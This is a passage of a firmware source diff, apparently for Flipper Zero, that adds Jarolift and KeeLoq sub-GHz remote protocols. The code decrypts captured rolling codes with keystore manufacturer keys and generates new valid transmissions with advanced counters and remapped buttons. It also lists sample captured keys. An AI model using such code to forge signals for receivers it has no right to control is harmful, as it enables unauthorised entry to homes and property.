+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    //(instance->generic.seed >> 8) = 8 bit grouping channel 0-7
+    uint32_t hop_decrypted = (uint64_t)((instance->generic.seed >> 8) & 0xFF) << 24 |
+                             ((instance->generic.serial & 0xFF) << 16) |
+                             (instance->generic.cnt & 0xFFFF);
+
+    uint64_t hop_encrypted = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_NORMAL_JAROLIFT) {
+                // Normal Learning
+                uint64_t man = subghz_protocol_keeloq_common_normal_learning(
+                    instance->generic.serial, manufacture_code->key);
+                hop_encrypted = subghz_protocol_keeloq_common_encrypt(hop_decrypted, man);
+                break;
+            }
+        }
+
+    // If we got some issue, return false
+    if(hop_encrypted == 0) {
+        return false;
+    }
+    uint64_t fix = (uint64_t)btn << 60 | ((uint64_t)(instance->generic.serial & 0xFFFFFFF) << 32) |
+                   hop_encrypted;
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(fix, 64);
+    //(instance->generic.seed & 0xFF) = 8 bit for grouping 8-16
+    instance->generic.data_2 =
+        subghz_protocol_blocks_reverse_key((instance->generic.seed & 0xFF), 8);
+
+    return true;
+}
+
+bool subghz_protocol_jarolift_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderJarolift* instance = context;
+    instance->generic.serial = (serial & 0xFFFFF00);
+    instance->generic.cnt = cnt;
+    instance->generic.btn = btn;
+    instance->generic.seed = 0x0100;
+    instance->generic.data_count_bit = 72;
+
+    // Encode data
+
+    //(instance->generic.seed >> 8) = 8 bit grouping channel 0-7
+    uint32_t hop_decrypted = (uint64_t)((instance->generic.seed >> 8) & 0xFF) << 24 |
+                             ((instance->generic.serial & 0xFF) << 16) |
+                             (instance->generic.cnt & 0xFFFF);
+
+    uint64_t hop_encrypted = 0;
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_NORMAL_JAROLIFT) {
+                // Normal Learning
+                uint64_t man = subghz_protocol_keeloq_common_normal_learning(
+                    instance->generic.serial, manufacture_code->key);
+                hop_encrypted = subghz_protocol_keeloq_common_encrypt(hop_decrypted, man);
+                break;
+            }
+        }
+
+    uint64_t fix = (uint64_t)instance->generic.btn << 60 |
+                   ((uint64_t)(instance->generic.serial & 0xFFFFFFF) << 32) | hop_encrypted;
+
+    instance->generic.data = subghz_protocol_blocks_reverse_key(fix, 64);
+    //(instance->generic.seed & 0xFF) = 8 bit for grouping 8-16
+    instance->generic.data_2 =
+        subghz_protocol_blocks_reverse_key((instance->generic.seed & 0xFF), 8);
+
+    // Encode complete, now serialize
+    SubGhzProtocolStatus res =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((res == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data2");
+        res = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    return res == SubGhzProtocolStatusOk;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderJarolift instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_jarolift_get_upload(
+    SubGhzProtocolEncoderJarolift* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Gen new key
+    if(!subghz_protocol_jarolift_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+
+    // Start 14k us delay
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_long * 18);
+
+    // First header bit
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)1500);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_short);
+
+    // Finish header
+    for(uint8_t i = 8; i > 0; i--) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_jarolift_const.te_short);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_short);
+    }
+
+    // After header
+    instance->encoder.upload[index - 1].duration = (uint32_t)3800; // Adjust last low duration
+
+    // Send key fix
+    for(uint8_t i = 64; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_jarolift_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_jarolift_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_short);
+        }
+    }
+
+    // Send grouping byte
+    for(uint8_t i = 8; i > 0; i--) {
+        if(bit_read(instance->generic.data_2, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_jarolift_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_long);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_jarolift_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_jarolift_const.te_short);
+        }
+    }
+
+    // Set upload size after generating upload, fix it later
+    instance->encoder.size_upload = index;
+
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_jarolift_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderJarolift* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+
+        subghz_protocol_jarolift_remote_controller(&instance->generic, instance->keystore);
+
+        subghz_protocol_encoder_jarolift_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Data");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+//
+// Decoder
+//
+void* subghz_protocol_decoder_jarolift_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolDecoderJarolift* instance = malloc(sizeof(SubGhzProtocolDecoderJarolift));
+    instance->base.protocol = &subghz_protocol_jarolift;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+    return instance;
+}
+
+void subghz_protocol_decoder_jarolift_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_jarolift_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    instance->decoder.parser_step = JaroliftDecoderStepReset;
+}
+
+void subghz_protocol_decoder_jarolift_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case JaroliftDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_jarolift_const.te_short) <
+                          subghz_protocol_jarolift_const.te_delta) {
+            instance->decoder.parser_step = JaroliftDecoderStepCheckPreambula;
+            instance->header_count++;
+        }
+        break;
+    case JaroliftDecoderStepCheckPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_jarolift_const.te_short) <
+                        subghz_protocol_jarolift_const.te_delta)) {
+            instance->decoder.parser_step = JaroliftDecoderStepReset;
+            break;
+        }
+        if((!level) && (instance->header_count == 8) &&
+           (DURATION_DIFF(duration, subghz_protocol_jarolift_const.te_long * 5) <
+            subghz_protocol_jarolift_const.te_delta * 6)) {
+            // Found gap after header - 4000us +- 996us
+            instance->decoder.parser_step = JaroliftDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->header_count = 0;
+            break;
+        } else {
+            instance->decoder.parser_step = JaroliftDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    case JaroliftDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = JaroliftDecoderStepCheckDuration;
+        } else {
+            instance->header_count = 0;
+            instance->decoder.parser_step = JaroliftDecoderStepReset;
+        }
+        break;
+    case JaroliftDecoderStepCheckDuration:
+        if(!level) {
+            if(instance->decoder.decode_count_bit == 64) {
+                instance->generic.data = instance->decoder.decode_data;
+                instance->decoder.decode_data = 0;
+            }
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_jarolift_const.te_short) <
+                subghz_protocol_jarolift_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_jarolift_const.te_long) <
+                subghz_protocol_jarolift_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = JaroliftDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_jarolift_const.te_long) <
+                 subghz_protocol_jarolift_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_jarolift_const.te_short) <
+                 subghz_protocol_jarolift_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = JaroliftDecoderStepSaveDuration;
+            } else {
+                if(duration >= ((uint32_t)subghz_protocol_jarolift_const.te_long * 3)) {
+                    // Add endbit
+                    if((DURATION_DIFF(
+                            instance->decoder.te_last, subghz_protocol_jarolift_const.te_long) <
+                        subghz_protocol_jarolift_const.te_delta)) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                    } else if((DURATION_DIFF(
+                                   instance->decoder.te_last,
+                                   subghz_protocol_jarolift_const.te_short) <
+                               subghz_protocol_jarolift_const.te_delta)) {
+                        subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                    }
+                    if(instance->decoder.decode_count_bit ==
+                       subghz_protocol_jarolift_const.min_count_bit_for_found) {
+                        instance->generic.data_2 = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+
+                    instance->decoder.parser_step = JaroliftDecoderStepReset;
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 0;
+                    instance->header_count = 0;
+                    break;
+                }
+                instance->decoder.parser_step = JaroliftDecoderStepReset;
+                instance->header_count = 0;
+            }
+        } else {
+            instance->decoder.parser_step = JaroliftDecoderStepReset;
+            instance->header_count = 0;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_jarolift_get_button_name(uint8_t btn) {
+    const char* btn_name;
+    switch(btn) {
+    case 0x1:
+        btn_name = "Learn";
+        break;
+    case 0x2:
+        btn_name = "Down";
+        break;
+    case 0x4:
+        btn_name = "Stop";
+        break;
+    case 0x8:
+        btn_name = "Up";
+        break;
+    default:
+        btn_name = "Unkn";
+        break;
+    }
+    return btn_name;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param data Input encrypted data
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ */
+static void subghz_protocol_jarolift_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore) {
+    // Jarolift Decoder
+    // 01.2026 - @xMasterX (MMX) & d82k & Steffen (@bastelbudenbuben de)
+
+    // Key samples (reversed)
+    // 0x821EB600EAC2EAD4 - Btn Up - cnt 0059 group 0100
+    // 0x821EB6007D9BD66A - Btn Up - cnt 005A group 0100
+    // 0x821EB600A029FA0E - Btn Up - cnt 005B group 0100
+
+    uint32_t group = subghz_protocol_blocks_reverse_key(instance->data_2, 8);
+    uint64_t key = subghz_protocol_blocks_reverse_key(instance->data, 64);
+    bool ret = false;
+    uint32_t decrypt = 0;
+    instance->serial = (key >> 32) & 0xFFFFFFF;
+    uint32_t hop = key & 0xFFFFFFFF;
+
+    for
+        M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
+            if(manufacture_code->type == KEELOQ_LEARNING_NORMAL_JAROLIFT) {
+                uint64_t man = subghz_protocol_keeloq_common_normal_learning(
+                    instance->serial, manufacture_code->key);
+                decrypt = subghz_protocol_keeloq_common_decrypt(hop, man);
+                if(((decrypt >> 16) & 0xFF) == (instance->serial & 0xFF)) {
+                    ret = true;
+                }
+                break;
+            }
+        }
+    if(ret) {
+        instance->btn = (key >> 60) & 0xF;
+        instance->seed = ((decrypt >> 24) << 8) | (group >> 8);
+        instance->cnt = decrypt & 0xFFFF;
+        // Save original button for later use
+        if(subghz_custom_btn_get_original() == 0) {
+            subghz_custom_btn_set_original(instance->btn);
+        }
+        subghz_custom_btn_set_max(3);
+    } else {
+        instance->btn = 0;
+        instance->serial = 0;
+        instance->cnt = 0;
+        instance->seed = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_jarolift_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    uint8_t hash = 0;
+    uint8_t* p = (uint8_t*)&instance->generic.data;
+    for(size_t i = 0; i < 16; i++) {
+        hash ^= p[i];
+    }
+    return hash;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_jarolift_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    SubGhzProtocolStatus ret =
+        subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+
+    uint8_t key_data[sizeof(uint64_t)] = {0};
+    for(size_t i = 0; i < sizeof(uint64_t); i++) {
+        key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data_2 >> (i * 8)) & 0xFF;
+    }
+
+    if(!flipper_format_rewind(flipper_format)) {
+        FURI_LOG_E(TAG, "Rewind error");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+
+    if((ret == SubGhzProtocolStatusOk) &&
+       !flipper_format_insert_or_update_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+        FURI_LOG_E(TAG, "Unable to add Data");
+        ret = SubGhzProtocolStatusErrorParserOthers;
+    }
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_jarolift_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_jarolift_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        if(!flipper_format_read_hex(flipper_format, "Data", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Missing Data");
+            ret = SubGhzProtocolStatusErrorParserOthers;
+            break;
+        }
+
+        for(uint8_t i = 0; i < sizeof(uint64_t); i++) {
+            instance->generic.data_2 = instance->generic.data_2 << 8 | key_data[i];
+        }
+    } while(false);
+    return ret;
+}
+
+static uint8_t subghz_protocol_jarolift_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_jarolift_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderJarolift* instance = context;
+    subghz_protocol_jarolift_remote_controller(&instance->generic, instance->keystore);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%0llX\r\n"
+        "Sn:%07lX  Btn:%01X - %s\r\n"
+        "Cnt:%04lX Group:%04lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.serial,
+        instance->generic.btn,
+        subghz_protocol_jarolift_get_button_name(instance->generic.btn),
+        instance->generic.cnt,
+        instance->generic.seed);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.h
new file mode 100644
index 000000000..0f666579e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.h
@@ -0,0 +1,108 @@
+#pragma once
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_JAROLIFT_NAME "Jarolift"
+
+typedef struct SubGhzProtocolDecoderJarolift SubGhzProtocolDecoderJarolift;
+typedef struct SubGhzProtocolEncoderJarolift SubGhzProtocolEncoderJarolift;
+
+extern const SubGhzProtocolDecoder subghz_protocol_jarolift_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_jarolift_encoder;
+extern const SubGhzProtocol subghz_protocol_jarolift;
+
+/**
+ * Allocate SubGhzProtocolEncoderJarolift.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderJarolift* pointer to a SubGhzProtocolEncoderJarolift instance
+ */
+void* subghz_protocol_encoder_jarolift_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderJarolift.
+ * @param context Pointer to a SubGhzProtocolEncoderJarolift instance
+ */
+void subghz_protocol_encoder_jarolift_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderJarolift instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return true On success
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_jarolift_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderJarolift instance
+ */
+void subghz_protocol_encoder_jarolift_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderJarolift instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_jarolift_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderJarolift.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderJarolift* pointer to a SubGhzProtocolDecoderJarolift instance
+ */
+void* subghz_protocol_decoder_jarolift_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderJarolift.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ */
+void subghz_protocol_decoder_jarolift_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderJarolift.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ */
+void subghz_protocol_decoder_jarolift_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_jarolift_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_jarolift_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderJarolift.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_jarolift_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderJarolift.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_jarolift_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderJarolift instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_jarolift_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
new file mode 100644
index 000000000..2bf173994
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/keeloq.c
@@ -0,0 +1,1713 @@
+#include "keeloq.h"
+#include "keeloq_common.h"
+
+#include "../subghz_keystore.h"
+#include <m-array.h>
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+#include "../subghz_keystore_i.h"
+
+#define TAG "SubGhzProtocolKeeloq"
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_keeloq_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 180,
+    .min_count_bit_for_found = 64,
+};
+
+struct SubGhzProtocolDecoderKeeloq {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+
+    FuriString* manufacture_from_file;
+};
+
+struct SubGhzProtocolEncoderKeeloq {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+
+    FuriString* manufacture_from_file;
+};
+
+typedef enum {
+    KeeloqDecoderStepReset = 0,
+    KeeloqDecoderStepCheckPreambula,
+    KeeloqDecoderStepSaveDuration,
+    KeeloqDecoderStepCheckDuration,
+} KeeloqDecoderStep;
+
+static uint8_t keeloq_counter_mode = 0;
+
+const SubGhzProtocolDecoder subghz_protocol_keeloq_decoder = {
+    .alloc = subghz_protocol_decoder_keeloq_alloc,
+    .free = subghz_protocol_decoder_keeloq_free,
+
+    .feed = subghz_protocol_decoder_keeloq_feed,
+    .reset = subghz_protocol_decoder_keeloq_reset,
+
+    .get_hash_data = subghz_protocol_decoder_keeloq_get_hash_data,
+    .serialize = subghz_protocol_decoder_keeloq_serialize,
+    .deserialize = subghz_protocol_decoder_keeloq_deserialize,
+    .get_string = subghz_protocol_decoder_keeloq_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_keeloq_encoder = {
+    .alloc = subghz_protocol_encoder_keeloq_alloc,
+    .free = subghz_protocol_encoder_keeloq_free,
+
+    .deserialize = subghz_protocol_encoder_keeloq_deserialize,
+    .stop = subghz_protocol_encoder_keeloq_stop,
+    .yield = subghz_protocol_encoder_keeloq_yield,
+};
+
+const SubGhzProtocol subghz_protocol_keeloq = {
+    .name = SUBGHZ_PROTOCOL_KEELOQ_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_keeloq_decoder,
+    .encoder = &subghz_protocol_keeloq_encoder,
+};
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ * @param keystore Pointer to a SubGhzKeystore* instance
+ * @param manufacture_name
+ */
+static uint32_t subghz_protocol_keeloq_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x1 | 0x2 | 0x4 | 0x8 | 0xA or Special Learning Code |
+ * @param last_btn_code Candidate for the last button
+ * @return Button code
+ */
+static uint8_t subghz_protocol_keeloq_get_btn_code(uint8_t last_btn_code);
+
+void* subghz_protocol_encoder_keeloq_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderKeeloq* instance = malloc(sizeof(SubGhzProtocolEncoderKeeloq));
+
+    instance->base.protocol = &subghz_protocol_keeloq;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 1100;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    instance->manufacture_from_file = furi_string_alloc();
+
+    return instance;
+}
+
+void subghz_protocol_encoder_keeloq_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderKeeloq* instance = context;
+    furi_string_free(instance->manufacture_from_file);
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/** 
+ * Key generation from simple data
+ * @param instance Pointer to a SubGhzProtocolEncoderKeeloq* instance
+ * @param btn Button number, 4 bit
+ * @param counter_up increasing the counter if the value is true
+ */
+static bool subghz_protocol_keeloq_gen_data(
+    SubGhzProtocolEncoderKeeloq* instance,
+    uint8_t btn,
+    bool counter_up,
+    bool skip_btn_check) {
+    // No mf name set? -> set to ""
+    if(instance->manufacture_name == 0x0) {
+        instance->manufacture_name = "";
+    }
+    // add gendata part
+    ProgMode prog_mode = subghz_custom_btn_get_prog_mode();
+    if(!skip_btn_check && (keeloq_counter_mode != 7)) {
+        // Save original button
+        if(subghz_custom_btn_get_original() == 0) {
+            subghz_custom_btn_set_original(btn);
+        }
+
+        // Prog mode checks and extra fixage of MF Names
